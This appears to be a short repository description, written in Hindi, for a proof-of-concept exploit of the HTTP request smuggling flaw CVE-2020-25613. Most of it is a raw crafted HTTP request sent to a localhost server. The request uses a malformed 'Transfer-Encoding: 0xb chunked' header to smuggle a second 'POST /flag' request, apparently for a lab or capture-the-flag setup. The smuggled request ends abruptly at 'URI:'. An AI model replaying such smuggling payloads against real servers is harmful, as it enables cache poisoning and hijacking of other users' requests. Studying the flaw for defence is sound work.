metapox/cve-2020-25613HTTP अनुरोध तस्करी भेद्यता CVE-2020-25613 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, कैश को जहर देने और अनुरोधों को हाईजैक करने के लिए चंक्ड ट्रांसफर एन्कोडिंग पार्सिंग बायपास का प्रदर्शन करता है।
POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Type: text/html
Content-Length: 129
Connection: keep-alive
Transfer-Encoding: 0xb chunked
1
A
0
POST /flag HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 180
Connection: keep-alive
Content-Type: text/html
URI: